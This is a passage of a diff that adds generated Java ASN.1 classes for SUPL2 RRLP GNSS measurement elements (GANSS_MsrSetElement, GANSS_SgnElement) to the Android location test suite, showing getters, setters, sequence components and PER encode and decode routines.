+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_MsrSetElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_MsrSetElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_MsrSetElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_MsrSetElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_MsrSetElement != null) {
+ return ImmutableList.of(TAG_GANSS_MsrSetElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_MsrSetElement from encoded stream.
+ */
+ public static GANSS_MsrSetElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_MsrSetElement result = new GANSS_MsrSetElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_MsrSetElement from encoded stream.
+ */
+ public static GANSS_MsrSetElement fromPerAligned(byte[] encodedBytes) {
+ GANSS_MsrSetElement result = new GANSS_MsrSetElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ReferenceFrame referenceFrame_;
+ public ReferenceFrame getReferenceFrame() {
+ return referenceFrame_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceFrame
+ */
+ public void setReferenceFrame(Asn1Object value) {
+ this.referenceFrame_ = (ReferenceFrame) value;
+ }
+ public ReferenceFrame setReferenceFrameToNewInstance() {
+ referenceFrame_ = new ReferenceFrame();
+ return referenceFrame_;
+ }
+
+ private GANSSTODm ganssTODm_;
+ public GANSSTODm getGanssTODm() {
+ return ganssTODm_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTODm
+ */
+ public void setGanssTODm(Asn1Object value) {
+ this.ganssTODm_ = (GANSSTODm) value;
+ }
+ public GANSSTODm setGanssTODmToNewInstance() {
+ ganssTODm_ = new GANSSTODm();
+ return ganssTODm_;
+ }
+
+ private GANSS_MsrSetElement.deltaGANSSTODType deltaGANSSTOD_;
+ public GANSS_MsrSetElement.deltaGANSSTODType getDeltaGANSSTOD() {
+ return deltaGANSSTOD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_MsrSetElement.deltaGANSSTODType
+ */
+ public void setDeltaGANSSTOD(Asn1Object value) {
+ this.deltaGANSSTOD_ = (GANSS_MsrSetElement.deltaGANSSTODType) value;
+ }
+ public GANSS_MsrSetElement.deltaGANSSTODType setDeltaGANSSTODToNewInstance() {
+ deltaGANSSTOD_ = new GANSS_MsrSetElement.deltaGANSSTODType();
+ return deltaGANSSTOD_;
+ }
+
+ private GANSSTODUncertainty ganssTODUncertainty_;
+ public GANSSTODUncertainty getGanssTODUncertainty() {
+ return ganssTODUncertainty_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSTODUncertainty
+ */
+ public void setGanssTODUncertainty(Asn1Object value) {
+ this.ganssTODUncertainty_ = (GANSSTODUncertainty) value;
+ }
+ public GANSSTODUncertainty setGanssTODUncertaintyToNewInstance() {
+ ganssTODUncertainty_ = new GANSSTODUncertainty();
+ return ganssTODUncertainty_;
+ }
+
+ private SeqOfGANSS_MsrElement ganss_MsrElementList_;
+ public SeqOfGANSS_MsrElement getGanss_MsrElementList() {
+ return ganss_MsrElementList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSS_MsrElement
+ */
+ public void setGanss_MsrElementList(Asn1Object value) {
+ this.ganss_MsrElementList_ = (SeqOfGANSS_MsrElement) value;
+ }
+ public SeqOfGANSS_MsrElement setGanss_MsrElementListToNewInstance() {
+ ganss_MsrElementList_ = new SeqOfGANSS_MsrElement();
+ return ganss_MsrElementList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceFrame() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceFrame();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceFrameToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceFrame.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceFrame : "
+ + getReferenceFrame().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODm() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODm();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODmToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTODm.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODm : "
+ + getGanssTODm().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getDeltaGANSSTOD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDeltaGANSSTOD();
+ }
+
+ @Override public void setToNewInstance() {
+ setDeltaGANSSTODToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_MsrSetElement.deltaGANSSTODType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "deltaGANSSTOD : "
+ + getDeltaGANSSTOD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssTODUncertainty() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssTODUncertainty();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssTODUncertaintyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSTODUncertainty.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssTODUncertainty : "
+ + getGanssTODUncertainty().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_MsrElementList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_MsrElementList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_MsrElementListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSS_MsrElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_MsrElementList : "
+ + getGanss_MsrElementList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class deltaGANSSTODType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_deltaGANSSTODType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public deltaGANSSTODType() {
+ super();
+ setValueRange("0", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_deltaGANSSTODType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_deltaGANSSTODType != null) {
+ return ImmutableList.of(TAG_deltaGANSSTODType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new deltaGANSSTODType from encoded stream.
+ */
+ public static deltaGANSSTODType fromPerUnaligned(byte[] encodedBytes) {
+ deltaGANSSTODType result = new deltaGANSSTODType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new deltaGANSSTODType from encoded stream.
+ */
+ public static deltaGANSSTODType fromPerAligned(byte[] encodedBytes) {
+ deltaGANSSTODType result = new deltaGANSSTODType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "deltaGANSSTODType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_MsrSetElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java
new file mode 100755
index 0000000..d16a9c7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java
@@ -0,0 +1,1272 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_SgnElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_SgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_SgnElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_SgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_SgnElement != null) {
+ return ImmutableList.of(TAG_GANSS_SgnElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_SgnElement from encoded stream.
+ */
+ public static GANSS_SgnElement fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_SgnElement result = new GANSS_SgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_SgnElement from encoded stream.
+ */
+ public static GANSS_SgnElement fromPerAligned(byte[] encodedBytes) {
+ GANSS_SgnElement result = new GANSS_SgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SVID svID_;
+ public SVID getSvID() {
+ return svID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SVID
+ */
+ public void setSvID(Asn1Object value) {
+ this.svID_ = (SVID) value;
+ }
+ public SVID setSvIDToNewInstance() {
+ svID_ = new SVID();
+ return svID_;
+ }
+
+ private GANSS_SgnElement.cNoType cNo_;
+ public GANSS_SgnElement.cNoType getCNo() {
+ return cNo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.cNoType
+ */
+ public void setCNo(Asn1Object value) {
+ this.cNo_ = (GANSS_SgnElement.cNoType) value;
+ }
+ public GANSS_SgnElement.cNoType setCNoToNewInstance() {
+ cNo_ = new GANSS_SgnElement.cNoType();
+ return cNo_;
+ }
+
+ private MpathIndic mpathDet_;
+ public MpathIndic getMpathDet() {
+ return mpathDet_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MpathIndic
+ */
+ public void setMpathDet(Asn1Object value) {
+ this.mpathDet_ = (MpathIndic) value;
+ }
+ public MpathIndic setMpathDetToNewInstance() {
+ mpathDet_ = new MpathIndic();
+ return mpathDet_;
+ }
+
+ private GANSS_SgnElement.carrierQualityIndType carrierQualityInd_;
+ public GANSS_SgnElement.carrierQualityIndType getCarrierQualityInd() {
+ return carrierQualityInd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.carrierQualityIndType
+ */
+ public void setCarrierQualityInd(Asn1Object value) {
+ this.carrierQualityInd_ = (GANSS_SgnElement.carrierQualityIndType) value;
+ }
+ public GANSS_SgnElement.carrierQualityIndType setCarrierQualityIndToNewInstance() {
+ carrierQualityInd_ = new GANSS_SgnElement.carrierQualityIndType();
+ return carrierQualityInd_;
+ }
+
+ private GANSS_SgnElement.codePhaseType codePhase_;
+ public GANSS_SgnElement.codePhaseType getCodePhase() {
+ return codePhase_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.codePhaseType
+ */
+ public void setCodePhase(Asn1Object value) {
+ this.codePhase_ = (GANSS_SgnElement.codePhaseType) value;
+ }
+ public GANSS_SgnElement.codePhaseType setCodePhaseToNewInstance() {
+ codePhase_ = new GANSS_SgnElement.codePhaseType();
+ return codePhase_;
+ }
+
+ private GANSS_SgnElement.integerCodePhaseType integerCodePhase_;
+ public GANSS_SgnElement.integerCodePhaseType getIntegerCodePhase() {
+ return integerCodePhase_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.integerCodePhaseType
+ */
+ public void setIntegerCodePhase(Asn1Object value) {
+ this.integerCodePhase_ = (GANSS_SgnElement.integerCodePhaseType) value;
+ }
+ public GANSS_SgnElement.integerCodePhaseType setIntegerCodePhaseToNewInstance() {
+ integerCodePhase_ = new GANSS_SgnElement.integerCodePhaseType();
+ return integerCodePhase_;
+ }
+
+ private GANSS_SgnElement.codePhaseRMSErrorType codePhaseRMSError_;
+ public GANSS_SgnElement.codePhaseRMSErrorType getCodePhaseRMSError() {
+ return codePhaseRMSError_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.codePhaseRMSErrorType
+ */
+ public void setCodePhaseRMSError(Asn1Object value) {
+ this.codePhaseRMSError_ = (GANSS_SgnElement.codePhaseRMSErrorType) value;
+ }
+ public GANSS_SgnElement.codePhaseRMSErrorType setCodePhaseRMSErrorToNewInstance() {
+ codePhaseRMSError_ = new GANSS_SgnElement.codePhaseRMSErrorType();
+ return codePhaseRMSError_;
+ }
+
+ private GANSS_SgnElement.dopplerType doppler_;
+ public GANSS_SgnElement.dopplerType getDoppler() {
+ return doppler_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.dopplerType
+ */
+ public void setDoppler(Asn1Object value) {
+ this.doppler_ = (GANSS_SgnElement.dopplerType) value;
+ }
+ public GANSS_SgnElement.dopplerType setDopplerToNewInstance() {
+ doppler_ = new GANSS_SgnElement.dopplerType();
+ return doppler_;
+ }
+
+ private GANSS_SgnElement.adrType adr_;
+ public GANSS_SgnElement.adrType getAdr() {
+ return adr_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_SgnElement.adrType
+ */
+ public void setAdr(Asn1Object value) {
+ this.adr_ = (GANSS_SgnElement.adrType) value;
+ }
+ public GANSS_SgnElement.adrType setAdrToNewInstance() {
+ adr_ = new GANSS_SgnElement.adrType();
+ return adr_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSvID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSvID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSvIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SVID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "svID : "
+ + getSvID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCNo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCNo();
+ }
+
+ @Override public void setToNewInstance() {
+ setCNoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.cNoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cNo : "
+ + getCNo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMpathDet() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMpathDet();
+ }
+
+ @Override public void setToNewInstance() {
+ setMpathDetToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MpathIndic.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "mpathDet : "
+ + getMpathDet().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getCarrierQualityInd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCarrierQualityInd();
+ }
+
+ @Override public void setToNewInstance() {
+ setCarrierQualityIndToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.carrierQualityIndType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "carrierQualityInd : "
+ + getCarrierQualityInd().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getCodePhase() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCodePhase();
+ }
+
+ @Override public void setToNewInstance() {
+ setCodePhaseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.codePhaseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "codePhase : "
+ + getCodePhase().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getIntegerCodePhase() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIntegerCodePhase();
+ }
+
+ @Override public void setToNewInstance() {
+ setIntegerCodePhaseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.integerCodePhaseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "integerCodePhase : "
+ + getIntegerCodePhase().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getCodePhaseRMSError() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCodePhaseRMSError();
+ }
+
+ @Override public void setToNewInstance() {
+ setCodePhaseRMSErrorToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.codePhaseRMSErrorType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "codePhaseRMSError : "
+ + getCodePhaseRMSError().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getDoppler() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDoppler();
+ }
+
+ @Override public void setToNewInstance() {
+ setDopplerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.dopplerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "doppler : "
+ + getDoppler().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getAdr() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAdr();
+ }
+
+ @Override public void setToNewInstance() {
+ setAdrToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_SgnElement.adrType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "adr : "
+ + getAdr().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cNoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cNoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cNoType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cNoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cNoType != null) {
+ return ImmutableList.of(TAG_cNoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cNoType from encoded stream.
+ */
+ public static cNoType fromPerUnaligned(byte[] encodedBytes) {
+ cNoType result = new cNoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cNoType from encoded stream.
+ */
+ public static cNoType fromPerAligned(byte[] encodedBytes) {
+ cNoType result = new cNoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
